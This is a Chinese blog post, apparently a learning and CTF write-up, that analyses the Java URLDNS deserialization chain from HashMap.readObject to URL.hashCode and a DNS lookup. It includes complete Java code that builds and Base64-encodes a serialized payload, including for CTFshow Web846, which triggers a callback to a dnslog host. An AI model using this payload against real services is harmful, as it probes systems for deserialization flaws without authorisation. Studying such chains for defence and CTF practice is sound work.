基础的理论写在这里了,这篇主要是跟一下URLDNS链
Java | Ethe's blog (ethe448.github.io)
URLDNS链
反序列化分三个部分
入口类、调用链和执行类
接下来将对其依次进行分析
入口类
这里的入口类是HashMap
首先HashMap里重写了readObject

在最后的地方
将对象中的内容一个一个拿了出来然后调用了putVal函数

这个函数具体的可以看这个HashMap中的putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict)解读_余韵啊的博客-CSDN博客
简单来说就是判断传入的内容的key的值是不是相等,不相等就加进map里,相等就覆盖
这里对key调用了hash函数,跟进去

又调用了key自身的hashCode函数
这个hashCode是Object自带的,所以HashMap满足我们入口类的三个条件(重写了readObject,参数类型宽泛,jdk自带)
所以接下来考虑有没有可能存在某个特殊的类**M,其hashCode**方法中直接或间接可调用危险函数,当M是key时,调用key.hashCode(),就相当于调用了M.hashCode(),从而触发危险函数。
执行类
接下来我们再来看执行类
这里执行类就是URL类
跟进去找URL的hashCode方法

如果hashCode这个参数为-1,也就是初始值时,会调用handler的hashCode方法。
这里看一下handler是个什么东西


是URLStreamHandler类(也是我们传入的handler),也就是说这里调用的是URLStreamHandler.hashCode
跟进去之后有个getHostAddress方法

再往里跟会发现接下来对u做了个getHostAddress来进行dns查询

至此执行类的分析完成
调用链
最后一部分是调用链,其实从入口类和执行类的分析就可以大概的看出调用链
- HashMap -> readObject()
- HashMap -> hash()
- URL -> hashCode()
- URLStreamHandler -> hashCode()
- URLStreamHandler -> getHostAddress()
- InetAddress-> getByName()
初次利用
先在bp上生成一个url接收DNS请求,dnslog也行

根据前边说的,利用就是创建个HashMap然后把key的位置传入URL类
HashMap<Object,Integer> h = new HashMap<>();
h.put(new URL("http://xxxx"),1);然后我们对其进行序列化,然后再进行反序列化,在反序列化时我们就可以收到一个DNS请求
但是在实验过程中,我们会发现,就算没有进行反序列化,在bp上也同样能检测到有一个发送过来的请求

为什么会这样呢?
其实原因在put方法里
跟进去看一下可以看见


在我们put的时候,就已经触发了hashCode函数,相当于走完了我们的利用链,然后向目标地址发送了dns请求。
但是这并不是我们想要的
因为URL里的hashCode中的这个判断

hashCode的初始值是-1,但是经过put走完我们的链子后,hashCode的值就会被改变,这时如果我们再执行反序列化,由于hashCode的值不再是-1,就不能再调用handler.hashCode的值从而实现向目标url发送dns请求的目的了。

因此,这里在put后,还需要使用反射让hashCode的值重新为-1
再次利用
public class serializTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
        Object o = ois.readObject();
        return o;
    }
}package URLDNS;
import serializTest.serializTest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException, IllegalAccessException {
        HashMap<Object,Integer> h = new HashMap<>();
        // 反射获取hashCode的值
        Class<?> aClass = Class.forName("java.net.URL");
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        URL url = new URL("http://cp9s9x.dnslog.cn");
        // 防止在put时就发送请求,干扰判断
        hashCode.set(url,1);
        System.out.println(hashCode.get(url));
        // 装入HashMap
        h.put(url,1);
        // 改回-1使反序列化时进行dns请求
        hashCode.set(url,-1);
        serializTest.serialize(h);
        System.out.println(hashCode.get(url));
        Object unserialize = serializTest.unserialize();
        System.out.println(unserialize);
    }
}

CTFSHOW Web846

为了实现这个目的,我们可以把序列化的内容写到一个输出流里,然后用toByteArray将字节流转换为字节数组,再用base64编码输出
修改后的代码为
        HashMap<Object,Integer> h = new HashMap<>();
        // 反射获取hashCode的值
        Class<?> aClass = Class.forName("java.net.URL");
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        URL url = new URL("http://c83f8a14-f34c-4106-ae2b-0f835c562ad4.challenge.ctf.show");//网址最后的斜杠要删掉
        // 防止在put时就发送请求,干扰判断
        hashCode.set(url,1);
//
//        System.out.println(hashCode.get(url));
        // 装入HashMap
        h.put(url,1);
        // 改回-1使反序列化时进行dns请求
        hashCode.set(url,-1);
//        serializTest.serialize(h);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(h);
//        System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
        byte[] buf = byteArrayOutputStream.toByteArray();
        // base64编码
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(buf);
        System.out.println(base64);
然后以post方式提交就行了

 
                     
                     
                        
                        